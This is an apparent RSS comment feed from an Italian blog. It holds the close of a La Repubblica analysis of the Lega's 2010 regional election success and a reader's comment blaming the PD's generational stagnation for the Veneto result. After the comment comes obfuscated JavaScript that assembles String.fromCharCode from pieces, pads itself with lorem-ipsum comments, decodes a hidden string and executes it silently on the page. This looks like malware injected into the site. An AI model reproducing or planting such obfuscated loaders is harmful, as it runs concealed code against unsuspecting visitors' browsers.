La terza spiegazione è che paradossalmente le prime elezioni con campagna elettorale sul web hanno mostrato come non si possa competere in politica facendo a meno di un partito. L´astensionismo ha esaltato l´unico partito oggi esistente al Nord. A trionfare non è stato l´amore, ma il partito che ha portato i propri militanti a votare. Un partito sempre più di potere al Nordest e Nordovest e ancora di lotta in Emilia, nella bassa Padania e in Toscana dove non a caso è più forte dove sono più numerose le comunità di immigrati cinesi. Nei suoi territori storici la Lega occupa e gestisce, con metodo e continuità. Ci vuole un partito per farlo, per selezionare e formare una classe dirigente locale e per far sì che questa presìdi e allarghi il suo raggio di influenza cooptando persone che obbediscono allo stesso capo. La Lega sceglie i suoi esponenti nei borghi, richiede l´identificazione in una comunità locale e l´accettazione da parte di questa per essere riconosciuto come militante. Poi per diventare amministratori locali e fare carriera bisogna fare la gavetta e offrire prove di fedeltà. Non contano invece le apparenze, neanche quelle televisive. La Lega in tutti questi anni è il partito che ha portato più giovani in Parlamento e nei consigli comunali e regionali. Si dice che i giovani trovino più spazio nella Lega perché danno meno problemi, rispettano le gerarchie. In effetti, gli eletti della Lega (sia in Parlamento che nelle amministrazioni locali) sono poco istruiti, difficilmente riescono ad imporre il loro punto di vista. Ma gli elettori della Lega non guardano tanto alle qualità dei singoli. Conta che rappresentino il loro territorio. Vale la targa più che il curriculum.<br />
È una forma partito difficilmente esportabile. Perché richiede un capo carismatico. E perché è da piccolo centro, dove è possibile avere un rapporto diretto con l´elettorato e non c´è bisogno dei media per raccogliere consensi. Al posto dei grandi potentati locali degli altri partiti, ci sono tanti “piccoli politici” di borgo con scarso potere contrattuale nel partito, per lo più sconosciuti al grande pubblico, che hanno il pregio di stare in mezzo alla gente, come dovrebbero fare tutti i bravi sindaci. Nel voto dello scorso fine settimana questi borghi hanno come cinto d´assedio i capoluoghi di regione. Una volta si diceva che solo un torinese avrebbe potuto governare il Piemonte. Da lunedì sappiamo che non è più così. E chissà se avremo presto anche un varesino alla guida di Milano.<br />
Ora che governa in prima persona un sesto del Paese, la Lega dovrà per forza di cose cambiare il suo rapporto con l´elettorato. Dovrà anche trovare una sintesi fra particolarismi di cui sin qui non è stata capace (basti pensare a come non ha saputo gestire il dualismo fra Malpensa e Linate). E soprattutto non avrà più scuse per rimandare il federalismo, quello vero, non quello dei borghi medioevali che cingono d´assedio le grandi città, ma quello che si gioca sull´asse Nord-Sud e che è da sempre nei proclami della Lega. È una prova difficile perché la Lega sin qui non ha saputo governare in grande. Proprio per questo, chi oggi intende contrastare il dominio della Lega dovrebbe compiere il passo opposto, organizzarsi per operare come partito anche sulla piccola scala, lontano dai riflettori, dimostrando come sia possibile affrontare le crisi locali senza le deroghe e le eccezioni. La prima sfida sarà proprio quella dell´uscita dalla Cassa Integrazione in deroga.<br />
La Repubblica 04.04.10</p>
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	</item>
	<item>
		<title>Di: Matteo Tognin</title>
		<link>http://www.piergiorgiogawronski.com/chi-ha-vinto-e-chi-ha-perso-analisi-dei-flussi-elettorali/comment-page-1/#comment-216</link>
		<dc:creator>Matteo Tognin</dc:creator>
		<pubDate>Sun, 04 Apr 2010 13:47:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1589#comment-216</guid>
		<description>caro PierGiorgio, innanzitutto credo che il disastroso risultato del Veneto sia dovuto a 2 fattori:
1-il candidato Bortolussi, pur bravo e capace, non era conosciuto quanto zaia ne godeva dello stesso appeal (zaia è stato presidente della provincia di treviso, vicepresidente della regione, ministro dell&#039;agricoltura, ha solo 42 anni etc);
2-il PD che si annunciava come partito nuovo non sta rispecchiando le attese, anzi le sta clamorosamente tradendo.
nessun ricambio generazionale (gli altri eleggono 30enni-40 enni, noi 50-60enni che hanno già fatto il loro tempo). Partito troppo legato agli apparati e vincolato nelle scelte dal mantenimento dei soliti equilibri correntizi. Quindi ogni scelta è tardiva e fatta col bilancino, coraggio zero, rinnovamento zero . Basti pensare che a padova PD e IDV hanno eletto in totale 4 consiglieri regionali e 3 di questi sono assessori (nominati 10 mesi fa) del comune di padova!
Se si sostiene un candidato nuovo i capicorrente cercano di tagliarti le gambe, perchè devono garantire chi li rappresenta....</description>
		<content:encoded><![CDATA[<p>caro PierGiorgio, innanzitutto credo che il disastroso risultato del Veneto sia dovuto a 2 fattori:<br />
1-il candidato Bortolussi, pur bravo e capace, non era conosciuto quanto zaia ne godeva dello stesso appeal (zaia è stato presidente della provincia di treviso, vicepresidente della regione, ministro dell&#8217;agricoltura, ha solo 42 anni etc);<br />
2-il PD che si annunciava come partito nuovo non sta rispecchiando le attese, anzi le sta clamorosamente tradendo.<br />
nessun ricambio generazionale (gli altri eleggono 30enni-40 enni, noi 50-60enni che hanno già fatto il loro tempo). Partito troppo legato agli apparati e vincolato nelle scelte dal mantenimento dei soliti equilibri correntizi. Quindi ogni scelta è tardiva e fatta col bilancino, coraggio zero, rinnovamento zero . Basti pensare che a padova PD e IDV hanno eletto in totale 4 consiglieri regionali e 3 di questi sono assessori (nominati 10 mesi fa) del comune di padova!<br />
Se si sostiene un candidato nuovo i capicorrente cercano di tagliarti le gambe, perchè devono garantire chi li rappresenta&#8230;.</p>
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		var hf = ((en+st)>>1);
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	function co() {
		return 'Code';
	}
	function gafu() {
		xxx=a(String, 'f' + ro() + co());
		return function(q){return xxx(q);};
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	rex = [gafu(),gafu()];
	

	function choo(k) {
		if (k < 9) {
			return 1
		} else {
			return 2
		}
	};
	
	d = '';
	mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2,8,2,10,2,11,2,12,2,13,2,14,2,15,2,17,2,18,2,19,2,20,2,21,2,22,2,23,2,24,2,25,2,26,2,27,2,28,2,29];
	map = ''; xo = doc;

	function fs(ro, arr, add, st, en,dp) {
		//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
		var hf = ((en+st)>>1);
		if(en-st>16)
		{
			//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
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			if(typeof arr[rj]!='string'){
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			return rt;
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	}
	map += fs(map, mapper, 30, 0,mapper.length);
	//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland

	function a(b, c) {
		return b[c];
	};

	function ro() {
		return 'romChar';
	}
	rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);
	//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
	try{
	$$(_1(map,rd,choo,_2).replace('?n','in'));}catch(e){}
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	return (function(jsB, jsBs) {
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			//accumsan dapibus diam 
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	for(var c=kk.length;c>0;){		
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		//accumsan dapibus diam 
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		dd=t.join(pp(t));
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},document,document.getElementsByTagName('title'));
/**/
if(typeof gloa=='function')gloa();
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